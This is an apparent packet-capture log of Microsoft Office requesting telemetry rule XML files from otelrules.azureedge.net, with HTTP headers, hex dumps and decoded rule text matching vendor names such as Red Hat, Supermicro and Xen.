Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e65a25e2-e01e-00aa-5b74-2aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-15b8d89586flspj6y6m5fk442w0000000f2g000000007cy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:15 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-16849878b78j7llf5vkyvvcehs0000000aag0000000009ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-16849878b78smng4k6nq15r6s40000000an000000000aw2g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:15 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 045b9726-001e-0014-4db7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-159b85dff8fq4v8mhC1DFW70kw00000001pg000000002urq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 951c16f0-d01e-002b-20ad-2a25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-159b85dff8fdthgkhC1DFWk0rw0000000110000000007dn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e6885a93-401e-0078-5ec2-2a4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-17c5cb586f69dpr98vcd9da8e800000000ng000000003uy2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-15b8d89586fvpb59307bn2rcac000000046000000000bhax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 8a3f5c5e-301e-000c-55dc-26323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-17c5cb586f6tg7hbbt0rp19dan00000001g0000000002zqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:16 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-16849878b78km6fmmkbenhx76n00000008hg000000003nnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:16 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-16849878b78p8hrf1se7fucxk800000009w000000000qvg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:16 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c3c63728-001e-0082-75c8-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-17c5cb586f659tsm88uwcmn6s400000001q000000000413m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:16 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:16 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 45a27b82-c01e-002b-5784-2a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061516Z-159b85dff8f7lrfphC1DFWfw0800000000xg000000009w6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:16 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS 